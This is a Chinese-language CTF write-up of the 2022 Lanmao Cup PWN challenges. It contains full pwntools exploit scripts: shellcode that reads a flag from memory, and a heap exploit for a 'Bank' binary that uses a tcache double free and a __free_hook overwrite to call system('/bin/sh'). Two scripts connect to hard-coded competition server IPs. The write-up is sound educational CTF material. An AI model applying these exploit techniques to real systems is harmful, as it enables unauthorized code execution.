跳到主要内容

「PWN」【蓝帽杯 2022】Writeup WP 复现

· 阅读需 8 分钟
Muel - Nova

记录一下前几天打的蓝帽杯的 PWN 题,其他 Misc 和取证就不复现了,打的时候就没整太明白,全靠队友一手带飞。

我是直接写了很简单的Shellcode然后靠运气磨过去(指正好加到/flag的那个内存页然后 IO 输出出来)

from pwn import *
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'DEBUG'

# sh = process(['escape_shellcode'])
sh = remote("39.107.108.120", 44431)
shellcode = """
mov r8, 0x557000000120

run:
mov rax, 1
mov rdi, 1
xor rdx, rdx
mov rdx, 0x10000
mov rsi, r8
syscall
cmp al, 0xf2
je looper

looper:
add r8, 0x10000
jmp run

"""
sh.sendline(asm(shellcode))
sh.interactive()

官方 writeup 倒是直接把 bss 的 flag 读出来了。本地调的时候看懂了原理,但是不知道这几个值是怎么出来的。

基本上就是获取了prctl@got.plt存到R8上(但是我不知道怎么调出来这个,通过RIP找到[rip + 0xfb5 - 7]这个指针,然后指针的内容加上0x3e8就到了这个@got.plt),再把真实地址记录到R9上。

然后R9用来保存libc_base,计算出environ的地址找到程序的基地址接着就可以读到.bssflag了。

思路都能整的明白,就是不知道咋调的:>

#!/usr/bin/python3
#-*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'
context.arch='amd64'
context.terminal = ['tmux','sp','-h','-l','120']

# remote_service = ""
# remote_service = remote_service.strip().split(":")
# p = remote(remote_service[0], int(remote_service[1]))
p = remote('39.106.156.74', 15163)
filename = "./pwn"
# p = process(filename)
e = ELF(filename, checksec=False)
l = ELF(e.libc.path, checksec=False)

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
i2b = lambda c : str(c).encode()
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
def debugPID():
# lg("p.pid")
# input()
pass

# environ = 0x3ee098
# prctl = 0x122210
def send_code():
code = asm(
f"""
lea rsi, byte ptr [rip - 0x2ba]
add rsi, 0xf69
mov rsp, rsi
lea rdx, byte ptr [rip + 0xfb5 - 7]
mov r8, [rdx]
add r8, 0x3e8
mov r9, [r8]
sub r9, 0x122210

mov r8, r9
add r8, 0x3ee098

mov r9, [r8]
sub r9, 0x40

mov r8, [r9]
sub r8, 0x11a0
add r8, 0x4120

mov rdi, 1
mov rax, 1
mov rsi, r8
mov rdx, 0x40
syscall

"""
)
p.send(code)

debugPID()
send_code()
debugPID()
irt()

Bank

IDA就不上图了,浅浅分析下功能。

deposit中有当money = balance的时候不会return而是会执行cash += money,但是reduce_moneymoney = balance时会return而不扣除banlance中的钱。

image-20220716112027434

image-20220716112044433

所以可以利用putdeposit用来刷钱。

主要是transfer是漏洞点。admin可以用来任意读堆上的地址,hacker可以用来任意地址freeghost可以realloc ptr这个堆,guest可以用来malloc一个0x18的堆并且写0x10abyss可以把初始化中的result执行*result=read_ui()并触发exit(0);

先写好菜单,因为一开始没考虑完全所以就把transfer写的复杂了一点,其实分开写就好()

from typing import Union, AnyStr, Tuple, Literal
from pwn import *

context(log_level='DEBUG', arch='amd64', os='linux')

sh = process(['./Bank'])
libc = ELF('./libc-2.31.so')

Money = Union[AnyStr, int, float]


def to_bytes(content: Money):
return content if isinstance(content, bytes) else str(content).encode()


def menu(index: Literal[0, 2, 3, 4, 5, 6]):
"""

:param index: 0: Quit, 2: Deposit, 3: Transfer, 4: Put, 5: Login, 6: Info
:return:
"""
choice = ['Quit', "", 'Deposit', "Transfer", "Put", "Login", "Info"]
sh.recvuntil(b"Click: ")
sh.sendline(choice[index].encode())


def login(card_number: AnyStr, password: AnyStr):
menu(5)
sh.sendlineafter(b"Card Numbers: ", to_bytes(card_number))
sh.sendlineafter(b"Password: ", to_bytes(password))


def info() -> Tuple[bytes, bytes]:
menu(6)
sh.recvuntil(b"[Card Number]: ")
dest = sh.recvuntil(b'\n', drop=True)
sh.recvuntil(b"[Money]: ")
money = sh.recvuntil(b'\n', drop=True)
return dest, money


def deposit(money: Money):
menu(2)
sh.sendlineafter(b"How Much? ", to_bytes(money))


def transfer(who: Literal['admin', 'hacker', 'guest', 'ghost', 'abyss'], money: Money, *arg) -> Union[None, bytes]:

def admin() -> bytes:
sh.recvuntil(b"I think ")
return sh.recvuntil(b' is', drop=True)

def hacker(ptr: Money):
sh.sendlineafter(b"hacker: Great!", to_bytes(ptr))

def guest(content: AnyStr, is_line: bool = True):
if is_line:
sh.sendlineafter(b"data: ", to_bytes(content))
else:
sh.sendafter(b"data: ", to_bytes(content))

def ghost(size_: Money):
sh.sendlineafter(b":)", to_bytes(size_))

def abyss(content: AnyStr):
sh.sendline(to_bytes(content))
menu(3)
sh.sendlineafter(b"who?", who.encode())
sh.sendlineafter(b"How much?", to_bytes(money))
return locals().get(who)(*arg)


def put(money: Money):
menu(4)
sh.sendlineafter(b"How Much?", to_bytes(money))


def gdb_(times: int = None, arg: str = ''):
gdb.attach(sh, arg)
pause(times)

首先不管先刷丶钱😋通过本地调试我们可以知道原本我们有0x190cash

login('114514', '114514')

put(0x190)
cash = 0x190
while cash <= 1000000:
deposit(cash)
put(cash)
cash += cash

可以通过realloc一个大一个小来凿一个tcache搞到heap_addr,但是注意的是我们要读地址就得给admin送钱,而admin至少要恰0x1E的钱,这也就意味之我们最少会读到8 * 0x1E + g_malloc这个地址。也就是至少要在0xf0 + g_malloc的位置凿一个tcache,而realloc又只能最大到size = 0x100,所以构造的时候还是得稍微思考一下

g_malloc实际上就是程序的第二个堆,也就是IDA里0x203050的那个变量。

image-20220716115036753

image-20220716115239582

浅浅计算一下就可以算出偏移,我们再减去0x10就是heap_addr了。

image-20220716115416472

拿到heap_addr之后就相当于有了任意堆free的能力,此时我们可以构造一个伪造一个large_bin范围的chunk,这样free之后便会直接指向main_arena,从而获取libc_base接着拿到free_hooksystem

transfer('guest', 6, p64(0x431).rjust(0x10, b'\x00'), False)
for _ in range(40):
transfer('guest', 6, b'1')
transfer('hacker', 51, heap_addr+0x3c0)
malloc_hook_addr = int(transfer('admin', 0x120 / 8), 16) - 96 - 0x10
libc_base = malloc_hook_addr - libc.sym['__malloc_hook']
free_hook_addr = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']

image-20220716122243559

接下来就是常规的Double Freefree_hook

for i in range(7):
transfer('hacker', 51, heap_addr+0x3f0+i*0x20)
transfer('hacker', 51, heap_addr+0x3f0+7*0x20)
transfer('hacker', 51, heap_addr+0x3f0+8*0x20)
transfer('hacker', 51, heap_addr+0x3f0+7*0x20)

for _ in range(7):
transfer('guest', 6, b'/bin/sh\x00')
transfer('guest', 6, p64(free_hook_addr-0x8).ljust(0x10, b'\x00'), False)
transfer('guest', 6, b'')
transfer('guest', 6, b'')
transfer('guest', 6, p64(system_addr).rjust(0x10, b'\x00'), False)
transfer('hacker', 51, heap_addr+0x3f0)

sh.interactive()

完整exp:

from typing import Union, AnyStr, Tuple, Literal
from pwn import *

context(log_level='DEBUG', arch='amd64', os='linux')

sh = process(['./Bank'])
libc = ELF('./libc-2.31.so')

Money = Union[AnyStr, int, float]


def to_bytes(content: Money):
return content if isinstance(content, bytes) else str(content).encode()


def menu(index: Literal[0, 2, 3, 4, 5, 6]):
"""

:param index: 0: Quit, 2: Deposit, 3: Transfer, 4: Put, 5: Login, 6: Info
:return:
"""
choice = ['Quit', "", 'Deposit', "Transfer", "Put", "Login", "Info"]
sh.recvuntil(b"Click: ")
sh.sendline(choice[index].encode())


def login(card_number: AnyStr, password: AnyStr):
menu(5)
sh.sendlineafter(b"Card Numbers: ", to_bytes(card_number))
sh.sendlineafter(b"Password: ", to_bytes(password))


def info() -> Tuple[bytes, bytes]:
menu(6)
sh.recvuntil(b"[Card Number]: ")
dest = sh.recvuntil(b'\n', drop=True)
sh.recvuntil(b"[Money]: ")
money = sh.recvuntil(b'\n', drop=True)
return dest, money


def deposit(money: Money):
menu(2)
sh.sendlineafter(b"How Much? ", to_bytes(money))


def transfer(who: Literal['admin', 'hacker', 'guest', 'ghost', 'abyss'], money: Money, *arg) -> Union[None, bytes]:

def admin() -> bytes:
sh.recvuntil(b"I think ")
return sh.recvuntil(b' is', drop=True)

def hacker(ptr: Money):
sh.sendlineafter(b"hacker: Great!", to_bytes(ptr))

def guest(content: AnyStr, is_line: bool = True):
if is_line:
sh.sendlineafter(b"data: ", to_bytes(content))
else:
sh.sendafter(b"data: ", to_bytes(content))

def ghost(size_: Money):
sh.sendlineafter(b":)", to_bytes(size_))

def abyss(content: AnyStr):
sh.sendline(to_bytes(content))
menu(3)
sh.sendlineafter(b"who?", who.encode())
sh.sendlineafter(b"How much?", to_bytes(money))
return locals().get(who)(*arg)


def put(money: Money):
menu(4)
sh.sendlineafter(b"How Much?", to_bytes(money))


def gdb_(times: int = None, arg: str = ''):
gdb.attach(sh, arg)
pause(times)


login('114514', '114514')
put(0x190)
cash = 0x190
while cash <= 1000000:
deposit(cash)
put(cash)
cash += cash

transfer('ghost', 11, 0x100)
transfer('ghost', 11, 0xe0)
heap_addr = int(transfer('admin', 0x118/8), 16) - 0x10

transfer('guest', 6, p64(0x431).rjust(0x10, b'\x00'), False)
for _ in range(40):
transfer('guest', 6, b'1')
transfer('hacker', 51, heap_addr+0x3c0)
malloc_hook_addr = int(transfer('admin', 0x120 / 8), 16) - 96 - 0x10
libc_base = malloc_hook_addr - libc.sym['__malloc_hook']
free_hook_addr = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']

for i in range(7):
transfer('hacker', 51, heap_addr+0x3f0+i*0x20)
transfer('hacker', 51, heap_addr+0x3f0+7*0x20)
transfer('hacker', 51, heap_addr+0x3f0+8*0x20)
transfer('hacker', 51, heap_addr+0x3f0+7*0x20)

for _ in range(7):
transfer('guest', 6, b'/bin/sh\x00')
transfer('guest', 6, p64(free_hook_addr-0x8).ljust(0x10, b'\x00'), False)
transfer('guest', 6, b'')
transfer('guest', 6, b'')
transfer('guest', 6, p64(system_addr).rjust(0x10, b'\x00'), False)
transfer('hacker', 51, heap_addr+0x3f0)

sh.interactive()

Loading Comments...